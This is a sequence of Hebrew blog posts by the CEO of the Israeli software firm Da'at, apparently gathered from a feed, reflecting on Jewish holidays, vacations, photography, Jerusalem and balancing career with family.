ובגלל שיצאתי מהמאפיה בהחלטה ללמוד להתבונן בחיי השגרה, לחיות אותם בעומק, למצוא את היפה והמתוק, יצאתי גם עם… לחמניות מתוקות.

בברכת חודש מהנה,
נילי 

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post ימים "פשוטים" appeared first on דעת.

החג שחותם את סדרת חגי תשרי הוא שמיני עצרת, והפעם החלטתי להתמקד בו. כפי ששמו מעיד עליו, זהו חג של עצירה והשהייה – של המתנה רגעית לקראת היציאה לשנה חדשה ולקראת החזרה לשגרה. שמיני עצרת מכין אותנו לקראת הבאות, ולכן מבחינה זו יש לו חשיבות רבה ביותר.

שמיני עצרת במקורות
בספר ויקרא, בפרק כ”ג נכתב: “…ביום השמיני מקרא קודש יהיה לכם והקרבתם אשה לה’ עצרת הוא, כל מלאכת עבודה לא תעשו”. בספר במדבר, פרק כ”ט ניתנת הוראה דומה: “ביום השמיני עצרת תהיה לכם, כל מלאכת עבודה לא תעשו”. משמעותו המילולית של המונח “עצרת” היא “עצירה” וגם “כינוס”. לפי הכתוב, ביום שמיני עצרת יש לעצור הכול, לחדול מעבודה עוד יום אחד, להתכנס ביחד ולחגוג בשמחה. רק לאחר מכן ניתן להמשיך הלאה.
היום חוגגים ביום שמיני עצרת את שמחת תורה – החג בו מסיימים לקרוא את כל חמשת חומשי התורה. שמחת סיום קריאת התורה היא גם הכנה לקראת קריאה חוזרת של חמשת ספרי התורה המתחילה בפרשת “בראשית”.

משמעות החג
משמעותם של ראש השנה, יום הכיפורים וסוכות ברורה. אך מה משמעות אותה עצירה או המתנה של שמיני עצרת?
בתקופת בית המקדש הוקרבו במהלך ימי חג הסוכות שבעים פרים למען כפרתן ושלומן של כל אומות העולם. חז”ל פירשו, כי לאחר העיסוק האינטנסיבי בענייני העולם כולו, ביקש הבורא ביום שמיני עצרת לעצור לרגע אינטימי נוסף עם החוגגים, ממש כמו אב המתקשה להיפרד מבניו ומבקשם להתעכב עמו עוד מעט. אמנם לכאורה עצירה של יום נוסף איננה משנה דבר, אך העצירה ביום שמיני עצרת איננה סתם עיכוב טריוויאלי. עצירה זו עוצרת עמה גם את הקדושה והכוח שהצטברו במהלך החגים, משמרת אותם ומאפשרת להם להאיר מעתה והלאה על כל ימות השנה. זמן זה מקל על הפרידה מכל הטוב שבחגים, ואף מסייע לשוב לשגרת החיים בכוחות חדשים.

צוות עובדות חברת “דעת” מאחל לכם ולבני משפחותיכם חג שמיני עצרת שמח ושנה מלאה אור ושפע.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post רגע לפני שתקופת החגים חולפת: שמיני עצרת appeared first on דעת.

כל סוף הוא התחלה חדשה

חיינו מורכבים מאינסוף רגעים של סיום וגם מאינסוף רגעים של התחלות. לעיתים רגעים אלה קטנים כל כך עד שכמעט איננו חשים בהם. לעיתים אנו כה שקועים בשגרה עד שאיננו מבחינים כלל במעבר ממצב למצב. אנו עוזבים מקום מגורים ישן ועוברים למקום חדש, רוקמים סיפור חיים, מכירים, נפגשים לראשונה עם אדם שיהפוך למשמעותי בחיינו, מתחילים עבודה חדשה, מביאים לעולם חיים חדשים, וסוגרים ופותחים ללא הרף אפשרויות חדשות.

כל התחלה חדשה היא גם סוף…

התחלות אלה הן תמיד גם סוף של משהו, וככאלה הן מלוות ברגשות מעורבים. לצד הצפייה לעתיד אנו עשויים לחוש געגועים או אפילו קושי להותיר את העבר מאחור ולהמשיך הלאה.  חושך מתחלף באור ואור מתחלף בחושך, העליות הופכת למורדות ולהיפך, ולידות חדשות ממלאות את הלב שמחה ומקלות על המיתות. הנטישה וההותרה מאחור הן לעולם אינן מוחלטות. העבר משאיר בנו את אותותיו, את זיכרונותיו ואת רגעיו היפים ואף מציידנו בכוחות ובניסיונות שיעזרו לנו בעתיד. תהליך דומה מתרחש גם בסמוך לתחילת השנה העברית החדשה – בראש השנה.
לפי המסורת היהודית, יום א' בתשרי הוא היום המקביל ליום השישי בבריאה – היום בו האדם נברא. ראש השנה איננו רק זיכרון לימי העבר אלא הוא גם תהליך מתמשך ובלתי פוסק של התחדשות. בכל שנה בראש השנה מתרחשת בריאת האדם מחדש, כמו במעשה בראשית. וזהו האתגר האמיתי של החג. שנת תשע"ג, הבאה עלינו לטובה, היא הזדמנות לעצור לרגע את מרוץ החיים, להירגע, להביט אחורה, להיזכר מהיכן בנו, להתגעגע, להתרענן, להבין איפה שגינו, לאזור כוחות, לעשות חשבון נפש, לשאול לאן מועדות פנינו, לנשום עמוק ולצאת לקראת מסע מופלא, שהוא בו בזמן דרך חדשה וגם תהליך מתמשך ובלתי פוסק של בריאה.

שנת תשע"ג, הבאה עלינו לטובה, היא הזדמנות לעצור לרגע את מרוץ החיים, להירגע, להביט אחורה, להיזכר מהיכן באנו, להתגעגע, להתרענן, להבין איפה שגינו, לאזור כוחות, לעשות חשבון נפש, לשאול לאן מועדות פנינו, לנשום עמוק ולצאת לקראת מסע מופלא…

כדי שנוכל להביט לאחור ולעשות חשבון, לפחות מבחינה מקצועית, הנה סיכום קצר של מה שהיה לנו בדעת השנה.
-במהלך השנה "דעת" שמחה לצרף אליה עובדות חדשות, שלאחר הכשרה בחברה נקלטו במחלקות פיתוח או QA.

-קצת הווי: השנה המשכנו במסורת חגיגות ראש החודש המפורסמות, אך לא רק… יצאנו לטיול בבית שאן העתיקה, קיימנו ערב גיבוש מהנה במיוחד בטירת יהודה, ערכנו יום קייטנה לילדי העובדות ועוד.

-בשנה החולפת עסקנו כמובן בביצוע פרויקטים מול לקוחותינו הקיימים (הכוללים את ynet, בנק לאומי, כלל פיננסים ורבים אחרים) – אך גם בביצוע פרויקטים, רובם מורכבים ובהיקפים משמעותיים, מול לקוחות חדשים שהצטרפו למעגל הלקוחות שלנו: כי"ל מוצרים תעשייתים, בנק לאומי למשכנתאות, בריטניקה, Traiana, לאומי פלוס, SweatPacks ועוד…

בשמי ובשם צוות "דעת" איחולי שנה של התחדשות, של בריאה מחדש ושל פריחה אינסופית, וכמובן, שנה טובה

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post תחל שנה וברכותיה appeared first on דעת.

אחת ממטרותיו של כל חג היא להותיר בנו את חותמו, על מנת שנגיע למצב בו לאחר החג נמשיך בדרכנו עם מטען חדש שהוסיף לבניין הרוחני שלנו. אכן, החג הסתיים, ימיו הספורים חלפו, אך הוא השאיר בנו חותם, ומעתה אנו מצוידים בתוספת חדשה הקשורה ללקחיו העמוקים של החג. וכך צריך המצב להיות בכל חג ובכל מועד.

ומה בקשר לחופש הגדול?
האם בסיום החופש נסמן "וי" וננשום לרוחה? "עוד חופש עבר. כולם בריאים ושלמים. עשינו את זה". במקרה זה, אמנם ניתן להשתמש בביטוי "החופש עבר עלי"… אך אפשר גם אחרת. ייתכן, כי ילדי ירוויחו החופש חוויות חדשות של לימוד והתנסות, הייחודיות רק לחופש. לדוגמה: החשיבות של תכנון סדר היום גם כאשר לא קיימים לחצים או מחויבויות, הערך של השמירה על המסגרת ויחד עם זאת, ההנאה . שבגמישות ובחוסר המחויבות, היכולת ליהנות מלא לעשות כלום, ההנאה מלימוד לשם הלימוד עצמו ללא קשר לציונים, להכרח או למורים, היכולת להחליט לבד מה לעשות היום ויתרונות רבים נוספים הייחודיים רק לחופש, הכול בהתאם לילד ולבית.

החופש הגדול איננו חג ואיננו מועד. ערכו הרוחני הוא לא מובן מאליו, אלא הוא פועל יוצא מההשקעה שמשקיעים בו, הן במובן החיובי והן במובן השלילי. היהדות נותנת מקום לסוגים שונים של "חופש", כאשר משמעות החופש איננה בזבוז זמן אלא שינוי מסגרת. אפילו המשפט, "שינה בשבת תענוג", איננו מתפרש כפשוטו אלא כ"שינוי" – הלימוד בשבת שונה מהלימוד בימות החול. השינוי בשבת הוא התענוג: הלימוד ללא לחץ של זמן וללא עיסוקי היומיום המטרידים, ומתוך מקום של "נשמה יתירה". לשינוי מסוג זה ישנו ערך גדול ביותר.

אחת ממטרותיו של כל חג היא להותיר בנו את חותמו, על מנת שנגיע למצב בו לאחר החג נמשיך בדרכנו עם מטען חדש שהוסיף לבניין הרוחני שלנו. אכן, החג הסתיים, ימיו הספורים חלפו, אך הוא השאיר בנו חותם, ומעתה אנו מצוידים בתוספת חדשה הקשורה ללקחיו העמוקים של החג. וכך צריך המצב להיות בכל חג ובכל מועד.

הבחירה להסתכל על החופש כשינוי מסגרת בעל ערך חיובי, אמנם, לא תמנע בהכרח משפטים, כדוגמת: "אימא משעמם לי" או את המשאלה, הכמוסה של כל אחת מהאימהות, לקיצור החופש הגדול, אך היא בהחלט מקלה עלי את ההתמודדות ומאפשרת גם לי, כאימא, להתרכז ביתרונות החופש הגדול ולא בחסרונותיו.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post הערך המוסף של החופש הגדול appeared first on דעת.

האומנם?

כשאני חושבת על חופש, אני חושבת על שעות איכות עם עצמי, זמן לחלום, להירגע, להיות ללא טרדות.

אני חולמת על שהייה בחברת ילדי ללא מיילים וטלפונים, ללא דאגה לסדר וניקיון ושאר טורדנים שתמיד מצייצים לי בראש.

זו שנתי ה-11 בה תקופת החופש הגדול היא התקופה העמוסה ביותר בעבודתי. השנה, כשהתחלתי לחשוב על התוכניות לחופש ובדקתי את לוח השנה, גיליתי שפשוט אין באפשרותי לבצע ולו 10% מהן. במבט לאחר, מעולם לא הצלחתי לבצע יותר מאשר חלק קטן ביותר מכל אותן תוכניות שתכננתי.

את "החופש הגדול" של ילדותי מחליף היום "שבוע החופש" שיום אחד אחליט לקחת, ושניהם נתפסו תמיד בעיני כמועד בו אבצע את כל התוכניות, שהרי אין כחופש – בו אני "משוחררת" מכל עול, לוח זמנים ומחויבות – כדי לעשות את כל הדברים המחייבים זמן פנוי, אותם לא הצלחתי עד כה לעשות באמת.

לפני כחודש נסעתי לפגישת עבודה לכתובת לא מוכרת בתל אביב. כשהמונית עצרה גיליתי את עצמי מול הטיילת. נזכרתי בתוכנית הלא ממומשת שלי מזה שנים, ישיבה מול הים בעת שקיעה עם כוס משקה קר, והחלטתי שעם סיום הפגישה, אצא לחופשה של רבע שעה מול הים. שעתיים לאחר מכן, כיוונתי שעון עצר ל15 דקות והתחלתי לנפוש עם בקבוק שתיה קלה ביד אחת, ותיק העבודה מוחבא היטב מתחת לכסא. ניקיתי את ראשי מכל מחשבה, התרכזתי בבריזה, בשמש החמימה, בריח המלח ותו לא.

20 דקות מאוחר יותר, ישבתי במונית בדרך חזרה למשרדי דעת, והבנתי שאני בדרך לשינוי. הבנתי שהסוד הוא לעשות. לא לחכות, לא לחופש הגדול ולא לחופש קטן. לשלב את אותם רגעי חופש תוך כדי החיים עצמם. לפנות מידי פעם כמה שעות ולהשקיע אותם בעצמי ובבני משפחתי. להחליט על יום חופש אחד מדי תקופה שינוצל בצורה שתתאים ביותר באותו יום עצמו: בין לפעילות ובין למנוחה ולרגיעה. לחיות את החופש ולא לחכות לו.

ובמילים אחרות, בשביל להרגיש חופש, לא צריכים דווקא חופשה.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post הדעה של דעת – למה לחכות לחופש? appeared first on דעת.

כינויו הרשמי של החג הוא על שם קורבן הפסח, המציין את מכת בכורות ואת פסיחתו של הקב"ה על בתי בני ישראל ועל בכורותיהם. יחד עם זאת, לחג שלושה שמות נוספים – חג החירות, חג המצות וחג האביב. השמות "חג החירות" ו"חג המצות" קשורים לא רק למשמעות ההיסטורית והלאומית של החג, אלא גם למהותו ברמה האינדיבידואלית. השם "חג האביב" מציין את משמעותו החקלאית – המועד בו מתחיל קציר השעורים, שהם התבואה הראשונה.

זמן חירותנו

היציאה מעבדות לחירות אותה חוגגים בחג הפסח היא כפולת פנים – חירות במובן הלאומי וחירות במובן האישי. במובן הלאומי, מציין חג הפסח מאורע היסטורי, לאומי ודתי חשוב, בו מוגדרת לראשונה לאחר שנים של שעבוד ושל עבדות, זהותם של בני ישראל כעם. במקביל, לחירות ישנה גם משמעות במישור האישי.

החירות המהותית, שאיננה קשורה כלל למעמדו החברתי של האדם, היא היכולת להיות נאמן לעצמיות הפנימית ולבצע בחירות אישיות שאינן מושפעות מהכלל

בהקדמה להגדת פסח כתב הרב אברהם יצחק הכהן קוק: "ההבדל שבין העבד ובן החורין איננו רק ההבדל מעמדי, מה שבמקרה זה הוא משועבד לאחר וזה הוא בלתי משועבד. אנו יכולים למצוא עבד משכיל שרוחו הוא מלא חרות, ולהיפך – בן חורין שרוחו הוא רוח של עבד. החרות הצביונית (=המהותית) היא אותה הרוח הנישאה שהאדם, וכן העם בכלל, מתרומם על ידה להיות נאמן להעצמיות הפנימית שלו… מה שאין כן כבעל הרוח של העבדות, שלעולם אין תוכן חייו והרגשתו מעורים בתכונתו הנפשית העצמית, כי אם במה שהוא יפה וטוב אצל האחר השולט עליו איזה שליטה שהיא, בין שהיא רשמית בין שהיא מוסרית, במה שאותו האחר מצא שהוא יפה ושהוא טוב".

הרב קוק עושה הבחנה בין חירות מעמדית ובין חירות מהותית; החירות המעמדית קשורה למעמד חברתי ולמצב היסטורי, בעוד שהחירות המהותית היא תכונה פנימית, היוצאת מכוח אל הפועל. החירות המהותית, שאיננה קשורה כלל למעמדו החברתי של האדם, היא היכולת להיות נאמן לעצמיות הפנימית ולבצע בחירות אישיות שאינן מושפעות מהכלל. בהקשר זה, אומר הרב קוק, ישנם עבדים שהם בני חורין ובעלי שאר רוח ואדונים שהם עבדים ברוחם, ואינם מסוגלים לבצע בחירות שאינן תלויות בנורמות חברתיות מקובלות.

לדעת לבחור

כל אחד ואחת מאיתנו נולד לשבט.

נולדתי לשבט הנשים, נולדתי לשבט הישראלים, נולדתי לשבט הדתיים, נולדתי כחלק מהרבה שבטים, ומרגע צאתי לעולם כל אחד ואחד מהשבטים אליו אני שייכת החדיר בי את האמונות והדעות שלו. מה מותר ואסור, מה יאה ומה מוסרי, מה ראוי לעשות ועוד ועוד.

כאשר אני, ככל אחד מאיתנו, נמצאת לפני ביצוע החלטה מסוימת, לאחר ששקלתי את כל ההיבטים פתאום קופצת לה השאלה הנשאלת ביותר בעולם: "מה יגידו?". האם השבט שלי יראה את הבחירה שלי בחיוב או בשלילה? היכולת לבצע את הבחירה הפנימית שלי היא החרות עליה מדבר הרב קוק.

כאשר עובדת דעת בוחרת בעבודה כקריירה משנית לבית, האם הבחירה הזו מתבצעת מתוך אמת פנימית או כי כך חונכה, או אולי כי זה מה שהשבט המשפחתי או הקהילתי מצפה ממנה?

כאשר מפתחת או בודקת בוחרת לעבוד במרכז פיתוח, השומר על גדרי הצניעות, האם זו החלטה אישית שלה או המשך המסלול שנקבע על ידי הוריה ו..השבט לתוכו היא נולדה?

האם כאשר אני מקבלת החלטה לטובתן של העובדות וקידומן האישי, זוהי החלטה פנימית או שגם אני מסתכלת מאחורי הגב ובודקת "מה יגידו?".

אין תשובה אחת לשאלות האלו, לא עבור כל אחת מאיתנו ולבטח גם לא עבור כלל ההחלטות שכל אחת קיבלה בחייה. הכוח שלנו להחליט מדי יום מגיע בד בבד עם הכוח לבדוק מהיכן מגיעה ההחלטה ולבחור מתוך מה שאנחנו ולא מתוך מה שאנחנו רוצים שיחשבו עלינו.

חברת "דעת" מאחלת לכול עם ישראל חג חירות שמח – ברמה הדתית והלאומית וגם ברמה האישית.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post חירות ובחירה אישית appeared first on דעת.

כאשר בני ישראל מתכוננים ליציאת מצרים, הם מקבלים 2 הנחיות. האחת, איך להתכונן ליציאת מצרים. והשניה, איך לשמר את הרגע. ואכן עד היום אנחנו זוכרים את יציאת מצרים ברמה יומית – בתפילה, ברמה שבועית – על ידי שמירת השבת, וברמה השנתית – בליל הסדר.

החשיבות לשמר את רגע יציאת מצרים ברורה לכל. יציאת מצרים היתה רגע מכונן. הזמן בו נולדנו כעם.

אך האם אנחנו מתעדים את הרגעים הנכונים? אולי אנו מחמיצים את הרגעים שכדאי לשמר?

הנצחת הרגע מבעד לעדשה
הצילום נותן לרגע ביטוי חזותי. הביטוי החזותי משאיר את הזיכרון. לדעתי הצילום גם מאדיר את הרגע. ברגע הנוכחי ובמבט לאחור, עצם זה שצילמתי משדר שמדובר ברגע שהיה שווה לצלם.

ולמרות שהתמונה מאדירה את הרגע, היא לא תמיד מעבירה אותו היטב.

השבת, ישבתי ודפדפתי בלוח השנה שלי המעוצב עם תמונות המשפחה. התבוננתי בתמונות והבחנתי שחסר לי משהו. מרוב שטרחתי לחפש תמונות יפות, לעבד, לחתוך ולהתאים אותן, השמטתי את הסביבה ולמעשה מחקתי את הזיכרון של האירוע. אותם רגעים קטנים בהם רציתי להיזכר לא עברו דרך התמונה.

במוזאונים אני תמיד הולכת לאט. מסתכלת בכל תמונה על כל הפרטים. מנסה לראות את המכלול. את האווירה. את התקופה. באחד הביקורים, התבוננתי בתמונה המציגה את רחובות מנהטן של לפני כמה עשרות שנים. יש חניה! הרבה פחות אנשים על המדרכות. אנשים לבושים במה שאנחנו מכנים היום בגדים ייצוגיים. כמעט שמעתי את השקט. על אף שלא נכחתי באותו מקום, באותה תקופה, התמונה הצליחה להציף בפני את הרגע…

אז למה אני מתמקדת רק בצילום אירועים מיוחדים? ולמה פעמים רבות אותו אירוע מיוחד כלל לא מועבר בתמונה כי מי שנמצא בפוקוס הוא רק האנשים קרובים אלי?

רגעים קטנים – גדולים
אם אחליט לצלם תמונה יומית, לא אעצור את הזמן ולא אעניק תרומה גדולה יותר לאנושות, אך על ידי דיפדוף בתמונות, לא אשאל את עצמי איך כבר עבר לו השבוע וכמה משמעותית היתה השנה שעברה.

אם אחליט לצלם תמונה יומית – אלכוד את הרגע. רגע שבעוד זמן מה אולי ישכח ממני.

ומה עם רגעים כביכול סתמיים?

האם שווה לצלם חזרה להצגה או שכדאי להתמקד בהצגה בלבד? האם לצלם את ההכנה לאירוע או רק את האירוע עצמו?

ההכנה היא תהליך בניה חשוב שלפעמים לוקח יותר זמן מהאירוע עצמו. אז למה לפספס את זיכרון ההתרגשות, המחשבות של איך ומה להכין, את ההשקעה, את הדרך למטרה? מה עוד, שגם זמן ההכנה הוא זמן וימי ההכנה הם ימים וכל שניה בזמן ההכנה שוות ערך לכל שניה אחרת בחיים.

ורגעים עצובים, כואבים, קשים?

גם אלו רגעים שכדאי לנצור וזכור. רגעים לא קלים הם אף משמעותיים יותר. רגעים המאפשרים גדילה אישית. ואולי במרחק הזמן אלו רגעים שיכולים לנחם אותנו. להראות לנו שעברנו, התגברנו והמשכנו.

כל יום יהיו בעיניך כחדשים
צילום הרגעים ה"פשוטים" מתחבר לי למימרא "כל יום יהיו בעיניך כחדשים", המתייחסת לכך שעלינו לראות את המצוות כחדשות מדי יום, כאילו היום נצטווינו לקיימן.

הצילום שמייקר את אותם רגעים פשוטים מחזק את התחושה שכל יום שגרתי הוא חדש ומרתק, שכל רגע הוא יקר, רגע בלתי נשכח…

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post ללכוד את הרגע – עוד מימי יציאת מצרים appeared first on דעת.

ואני כמו תמיד שואלת את עצמי שאלות.
מה נשאר לי מהפסח של יוצאי מצרים, מהפסח שחגגו 40 שנה במדבר, מהפסח של זמן בית המקדש?
מה נשאר לי מכל זה היום?
הניקיון???

כן, אני יודעת שהמטרה היא לנקות גם את הלב מהחמץ, אבל איך משלבים זאת בין ניקוי המדף העליון לתחתון?

"ההכנות לפסח – עבודת ה'!
כל זמן וכל מצב שהאדם נמצא בו, עליו להיות מודע שזהו חלק בלתי נפרד מעבודת ה' המוטלת עליו. אין נפקא מינה אם העסק הוא ברוחניות או אם הוא בגשמיות. לעולם, בכל מצב ובכל זמן, בכל נקודה שאדם נפגש עמה בחיים, ישנה נקודה של עבודת ה'.

… כולם יודעים שבאותם מעשים של נקיון הבית לפסח מקיימים מצות עשה מדאורייתא, וכן מצות לא תעשה, אבל בין הידיעה הזו, למצב בו נתון האדם בשעת הניקיון, במה עוסקות מחשבותיו באותה שעה- המרחק גדול. באופן טבעי, אדם שאינו עוצר את עצמו מעט ומתבונן, שקוע רק בשאלות מסוג: איך לנקות, מה לנקות וכמה לנקות. הקשר בין מעשיו לבין הקב"ה כמעט ונאבד לגמרי ח"ו."

(הרב איתמר שוורץ, "בלבבי משכן אבנה", חג הפסח, מידת הניקיון עמ' פ- פח)
אז התשובה שמצאתי לא קשה ליישום אבל בהחלט משנה את המבט. בתוך כל הניקיונות, הארגונים והבישולים, אני צריכה להיות מודעת, לחשוב ולהבין למה אני כל כך משקיעה… ואיך אני מחברת את הפסח שלי לפסח הרוחני.
ואיך אתן מתמודדות עם זה?
אשמח לדעת

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post אבק זה לא חמץ appeared first on דעת.

ירושלים תחת שלטון המנדט הבריטי. באו"ם מתקבלת הצעת החלוקה. על פי ההצעה יחולק שטחה של ארץ ישראל למדינה יהודית ולמדינה ערבית. ירושלים תהיה עיר בינלאומית הנשלטת בידי מושל מטעם האו"ם ומועצת תושבים. מיד לאחר ההחלטה פורצים קרבות בירושלים ובערים המעורבות, ביישובים היהודיים ובצירי התנועה בכל רחבי הארץ. בתום מלחמת השחרור מחזיקה ישראל בחלקה המערבי של העיר ובהמשך מכריזה על ירושלים כבירתה של המדינה הצעירה. במשך 19 שנה נותרת ירושלים הבירה כעיר חצויה. "העיר אשר בדד יושבת ובלבה חומה".

כ"ח באייר תשכ"ז.

במהלך מלחמת ששת הימים ישראל מחזירה לשליטתה את חלקי העיר המזרחיים שהוחזקו עד אז בידי הירדנים. לשטחה של ירושלים נוספים שטחים רבים ובהם גם שכונות וכפרים ערבים. האו"ם אינו מכיר בסיפוחה של מזרח העיר.

למעשה, למרות שחרורה ירושלים נותרת מחולקת. מערב העיר נחשב לשטח יהודי בעוד יהודים שמתגוררים במזרח העיר מוגדרים "מתנחלים", כאילו אינם גרים בלבה של בירת ישראל.

התקשורת מספרת על עיר ששיעור החרדים והערבים באוכלוסייתה הולך וגדל בהתמדה, וכבר אינה מהווה בית טבעי לעם ישראל על כל פלגיו. הכתבות מתארות עיר אשר חצויה בין מזרח ומערב, עיר שבליבה חומה לאומית, רעיונית ומגזרית.

האם ירושלים, העיר שמסמלת אחדות, אכן חצויה?

למה ירושלים תמיד שתים ?

לָמָּה יְרוּשָלַיִם תָּמִיד שְתַּיִם, שֶל מַעְלָה וְשֶל מַטָּה
וַאֲנִי רוֹצֶה לִחְיוֹת בִּירוּשָלַיִם שֶל אֶמְצַע
בְּלִי לַחְבֹּט אֶת רֹאשִי לְמַעְלָה
וּבְלִי לִפְצוֹע אֶת רַגְלַי לְמַטָּה.

וְלָמָּה יְרוּשָלַיִם בְּלָשוֹן זוּגִית כְּמוֹ יָדַיִם וְרַגְלַיִם,
אֲנִי רוֹצֶה לִחְיוֹת רַק בִּירוּשָל אַחַת,
כִּי אֲנִי רַק אֲנִי אֶחָד וְלֹא שֲנַיםִ

(יהודה עמיחי)

למה ברבים? שואל עמיחי, למה אי אפשר להסתפק באחת?

במדרשי חז"ל ירושלים מוצגת כמעט תמיד כנקודת חיבור – המאחדת את ירושלים של מטה עם ירושלים של מעלה, מחברת בין יראה ושלום, מתבטאת בין אדם לא‑לוהיו וגם בין אדם לחברו, מדברת אל המח ונוגעת בלב, ירושלים של העבר וזו של העתיד – 'עיר שחוברה לה יחדיו'.

דומה שיש בירושלים כמיהה ויכולת, רצון וכוח, שחותרים ללא לאות לאחד ולחבר בין חלקים שונים, ואם בכל זאת הפירוד גובר, העיר אינה עומדת בכך; מאליו מתרחשים הקרע, החלוקה, החורבן.

קיץ 2016.

אזור המרכז מהביל. לאן נוסעים לנשום אויר? לירושלים.

העיר שוקקת חיים. יהודים, נוצרים וערבים, דתיים וחילונים ועוד זן אחד. ירושלמים.

לא, אינני מתכוונת לאנשי שכונה או כת כזו או אחרת על לבושם האותנטי… אני מתכוונת לאנשים המיוחדים המאחדים ומכילים בתוכם את כולנו. אנשים שלמתבונן מבחוץ נראים כסתירה מהלכת, כשילוב של תרבויות, אולם על פניהם נהרה של אמונה בצדקת הדרך וחיוך של סובלנות.

אנשים שמחברים לה יחדיו. ירושלמים שמשלימים את התמונה, ויחד עם הקדושה, האווירה והאבנים תורמים להפוך את ירושלים למה שהיא.

צילמתי שניים מהם.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post לָמָּה יְרוּשָלַיִם תָּמִיד שְתַּיִם? appeared first on דעת.

לבני ישראל הייתה אפשרות לחזור לצורת החיים המוכרת – העבדות – סוג של הודאה בכישלון הניסיון לשנות סדרי עולם, או לקחת סיכון והימור מטורף ולהיכנס לים – צעד שיכול להביא תוצאה או תועלת רק אם יתחולל שינוי בסדרי העולם; לנקוט בצעד אקטיבי של לחימה, בגישה פסיבית של ייאוש, או במהלך רוחני של תפילה. ואכן, חז"ל מתארים התלבטות זו במדרש על ארבע הקבוצות. לפי המדרש העם נחלק לארבע קבוצות, כל קבוצה הביעה עמדה: אחת אומרת – ניפול לים. השנייה אומרת – נחזור למצרים, השלישית אומרת – נלחם והרביעית – נתפלל ונחכה לנס.

"מתוך שהיו עומדין ונוטלין עצה אלו באלו קפץ נחשון בן עמינדב וירד לים תחילה" (מסכת סוטה, ל"ז, ל"ז)

נחשון בן עמינדב, נשיא שבט יהודה, קופץ למים ראשון, כך על פי מסורת חז"ל.

נחשון נכנס למים כאילו אין ים. הוא מבצע פעולה שנראית כבלתי אפשרית אך מבצע אותה מתוך אמונה שיש באפשרותו לשנות את ה"טבע", ומתוך ביטחון בה' שזו הדרך הנכונה.

כשאני חושבת על נחשון ברגע הקפיצה, עובר לי בראש סופרמן שמתוך רצון לשנות  סדרי עולם, לשנות את המציאות ולייצר סוף טוב לסיפור שלו, עוצר את כדור הארץ מסיבובו ואפילו מסובב אותו אחורה.

נחשון קפץ למים אף על פי שלא ידע איך המעשה שלו ישנה ובראיה האנושית הפשוטה לא המתין לו דבר מלבד טביעה. הוא נכנס למים עד שהם מגיעים לצווארו. אני חושבת ששני דברים הניעו אותו. הרצון לעשות משהו, לשנות, והאמונה שלמעשה שלו יהיה ערך.

בשתיים, שתיים ושלושים
נכנסו דרך הטרשים
לשדה האש והמוקשים
של גבעת התחמושת.

מול בונקרים מבוצרים
ומרגמות מאה עשרים
מאה וכמה בחורים
על גבעת התחמושת.

בדיון שערכנו במשפחה בשביעי של פסח, סיפרתי על תחושתי לגבי נחשון ושאלתי האם יש לנו בדורנו נחשונים כאלו, אנשים שמוכנים לקפוץ לים עבור כולנו. האחיין הקרבי שלי ענה אוטומטית, "בטח. כולנו. מה את חושבת שעשינו בעמוד ענן ובצוק איתן".

